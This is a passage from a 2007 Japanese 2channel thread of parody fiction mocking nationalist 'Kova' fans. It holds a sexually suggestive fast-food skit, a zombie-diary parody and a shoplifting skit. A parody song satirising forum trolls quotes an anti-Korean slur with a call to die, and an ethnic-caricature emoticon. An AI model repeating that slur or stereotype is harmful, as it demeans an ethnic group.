明日香は受話器を取り上げ、受話器を耳に当てた。
ツーという音がする。電話線が通じた証拠だ。明日香は110番をプッシュした。
明日香は事件の概要、ペンションの場所、ペンションの責任者の名を
受話器の向こうの警察官にテキパキと伝えた。
着替えを済ませた洋平が明日香に尋ねた。
洋平「明日香、警察への通報は終わったかい?」
明日香「ええ、でも、この吹雪の中じゃ今すぐ行けそうにないそうです。
吹雪が弱まって、行けそうになり次第こちらに来てくださるそうですが…」
洋平「そうか…警察が来るまでなんとかがんばらないとな」
                                        (続く)

517 :名無しかましてよかですか?:2007/01/23(火) 19:20:50 ID:76HPj8aq
おー大作ですな
楽しみ楽しみ

518 :名無しかましてよかですか?:2007/01/23(火) 20:54:43 ID:Pgy22IkD
もしもマクドのお姉さんが戦乙女だったら
ヴァル「あああぁ……お客様きました……注文きますぅ
    ……ああ、いきます……
    いくいくいくいくいくいくいくいくううぅ!」
 客 「ええと・・てりたまバーガーセットで」
ヴァル「すごい興奮します……んんっ、はあぁ……
    いきます……ぶっといお飲み物何にします!?」
 客 「それじゃコーラで」
ヴァル「ええ・・・コーラですか・・・
    お客様も存外不健康嗜好なのですね・・・・
    はっ、はひぃ……私は、コーラ好きの
    変態ヴァルキリーです……
    んんっ、合計で496円になります……
    もっと激しくして下さい!」
 客 支払う
ヴァル「はぁあ……なんていやらしいの……ああ、
    商品来た……また商品来た……
    いく、いきます……
    いっいくいくいくいくいくうぅ!」
ヴァル、注文品を渡す
ヴァル「すごい、すごいぃ、いいいぃ、いく、
    いきます……ありがとうございますぅううう!!!」

519 :名無しかましてよかですか?:2007/01/24(水) 09:12:56 ID:unfULq0J
そろそろ500KB近いから、新スレ立てたほうがいいと思います。

スレタイ案
学園物語★KOVA17歳12〜となりのコヴァ

520 :名無しかましてよかですか?:2007/01/24(水) 19:39:20 ID:PFJ47WND
こヴぁいたちのよる、続きが楽しみ

521 :名無しかましてよかですか?:2007/01/24(水) 20:26:36 ID:unfULq0J
風間に三島に御剣ww
鉄拳にソウルキャリバーかよw

522 :名無しかましてよかですか?:2007/01/26(金) 13:26:09 ID:0wmpId+I
皇紀2606年12月9日
夜、生徒の肝井と千葉、同僚の守本とポーカーをやった。
守本の奴、やたらついてやがったがきっといかさまにちがいない。
俺たちをばかにしやがってかんしゃくおこす!!11!

皇紀2606年12月10日
今日、学校のおえら方から新しい用務員兼実習教員の世話を頼まれた。
目の血走った明らかに危ない奴だ。北越谷サトシというらしい。
生きたえさがいいってんで、千葉たちのクラスに投げこんだら、
奴は生徒の実家に怯えてみたり、DQN自慢をしたりして
遊んだあげく俺に暴力を振るってきやがった。

皇紀2606年12月11日
今朝5時頃、軍服みてえなコスプレを着た千葉に突然たたき起こされて俺も軍服を
着せられた。なんでも、靖国参拝をしに行くらしい。
千葉や肝井ときたら、夜も寝ないで妄想ばかりやってるからこんな事になるんだ。

皇紀2606年12月12日
昨日からこのいさましい軍服をつけたままなんで、背中がむれちまって妙にかゆい。
いらいらするんで、腹いせに国崎の飯を食ってやった。
いい気味だ。

皇紀2606年12月13日
あまりに背中がかゆいんで保健室にいったら、背中にでっけえバンソウコウを貼られた。
それから、もう俺は軍服を着なくていいと校医がいった。
おかげで今夜はよく眠れそうだぜ。

523 :名無しかましてよかですか?:2007/01/26(金) 13:30:53 ID:0wmpId+I
皇紀2606年12月14日
朝起きたら、背中だけでなく足にも腫物ができてやがった。
学校がやけに静かなんで、足引きずって見に行ったら数が全然たりねえ。
ノロウイルスが流行ったくらいで休みやがって。
おえら方に見つかったら大変だ。

皇紀2606年12月16日
昨日、この学校から逃げ出そうとした生徒が一人、つれもどされた、て はなしだ。
夜、からだ中 あついかゆい。
胸のはれ物 かきむしたら 肉がくさり落ちやがた。
いったいおれ どうな て

皇紀2606年12月19日
やと ねつ ひいた も とてもかゆい
今日 はらへったの、ちばときもい のメシ くう

皇紀2606年12月21日
かゆい かゆい きもいーきた
ひどいかおなんで ころし
うまかっ です。

4
いぐ
うう

524 :名無しかましてよかですか?:2007/01/26(金) 14:09:10 ID:1sR940Fe
バイオハザードかw

525 :名無しかましてよかですか?:2007/01/27(土) 01:52:55 ID:UTBlp7TB
肝井は喰われたのか

526 :金髪大好き林間先生:2007/01/27(土) 11:33:21 ID:h5hPVCJK
東京、秋葉原
担任「なんでオレが・・・」
コヴァ「別にいいじゃないでしゅか、ボクチン達もついていましゅし」
吉田「まあ、結構良く行くからどこに何があるかぐらいは判りますし」
鳥坂「そらそうと、今日はどんな用事なん?」
担任「実はな・・・、林間が秋葉原のヲタクショップ、『ギコフッサール』で
色んなモノを万引きして捕まったってさっき連絡が入って」
ゴゴゴゴゴゴゴゴ
三人「うわぁ」
コヴァ「あ、ギコフッサールはここでしゅね。入りましゅよ」
店に入ると担任は事情を説明した。店長は直ぐに奥の事務室に通す
林間「なんで貴様等がいるんだ!わかった!お前等はキモヲタなんだろ!
わかっちゃったわかっちゃったやーいやーいキモヲタキモヲターーー!!1!!11」
吉田「なあ、手鏡あるか?」
コヴァ「突っ込みたいのはよぉくわかりましゅが、無駄ですにょ」
担任「違うぞ、林間。さっき教頭から連絡が入って迎えに来いと言われたので
来てやっただけだ。そもそもなんでこんなところで万引きを・・・」
林間「万引き?違うぞ『彼女達』を保護してやったのだ。愛国の名の下に特アから」
担任「?」
店長「あ、コイツが万引きしたのはこれらです」
店長は袋を開けた。ガサゴソガサゴソ
凄い量のアレな代物が出てきた。
吉田「これはピンキーストリートDS?」
鳥坂「なんや?いちごましまろのアナ・コッポラの同人誌・・・」
担任「聖剣伝説3のリースとテイルズオブシンフォニアのコレットのエロ同人誌・・・」
コヴァ「戦乙女ヴァルキリーの原画集もあるですにょ」
三人の視線が林間に注がれる。

527 :金髪大好き林間先生:2007/01/27(土) 11:34:24 ID:h5hPVCJK
林間「なんだその目はかんしゃくおこす!1!!!」
担任「・・・いや、ちょっと可哀想に思えてきた」
店長「ほかにもエロゲー7本、同人誌21冊、漫画・原画集合わせて10冊、計十八万四千二百円
相当の商品を万引きしまして、こちらとしては是非万世橋警察署へ・・・」
林間「違う!違うぞ店長!1!!私はただ、美少女達を保護したくて・・・」
吉田「オッサン、それ二次元やろ」
林間「二次元じゃないかんしゃくおこす!!!彼女達はボクの中で生きてるんだ!
そして毎朝ボクのために身体を・・・」
鳥坂「・・・こいつ大丈夫か」
林間「そんな彼女達が特ア住民やアンチコヴァの手に渡ってあんなことやこんなことを
されるぐらいならいっそボクが・・・ボクがぁぁぁぁぁ」
コヴァ「・・・ボクチンでもここまでは考えつかなかったですにょ。むしろその
発想はなかったですにょ」
店長はもうドン引きだ。
担任「・・・まあ、こういうヒトなので、警察でも、松沢でもどこにでも引き渡して下さい」

528 :名無しかましてよかですか?:2007/01/27(土) 18:57:50 ID:btid/HPH
靖国の英霊の前で 泣かないでください
コヴァは役にたって いません  お国のためになっていません
千のレスに 千のレスになって
あの大きな掲示板を荒らしています

ハン板には<丶`∀´>になって 「チョン氏ね」連発する
マス板には(-@∀@)になって サヨク扱いする
朝は布団にはいって 昼まで目覚めない
深夜はムキになって コピペを貼り付ける

靖国の英霊の前で 泣かないでください
そこに愛国心はありません 少しもありません
千のレスに千のレスになって
あの大きな掲示板を荒らしています

千のレスに 千のレスになって
あの大きな掲示板を荒らしています
あの大きな掲示板を荒らしています


529 :名無しかましてよかですか?:2007/01/27(土) 19:26:58 ID:O8s962i4
http://money5.2ch.net/test/read.cgi/seiji/1169892086/l50

護憲派を馬鹿にする愚かな人達の共通点について激論を交わそう!!  


注意1、改憲派出入り禁止
注意2、市民を脅さない事
注意3、アジア諸国を批判しない事
注意4、日本の過去の過ちを認める事
注意5、正しい歴史認識を述べる事
注意6、軍国主義者はスルー
注意7、日本の侵略戦争を肯定しない事
注意8、9条を守ろう

http://money5.2ch.net/test/read.cgi/seiji/1169892086/l50

530 :名無しかましてよかですか?:2007/01/27(土) 21:16:04 ID:F1mxb2wW
次スレ
学園物語★KOVA17歳12〜となりのデンパ
http://tmp6.2ch.net/test/read.cgi/kova/1169599657/

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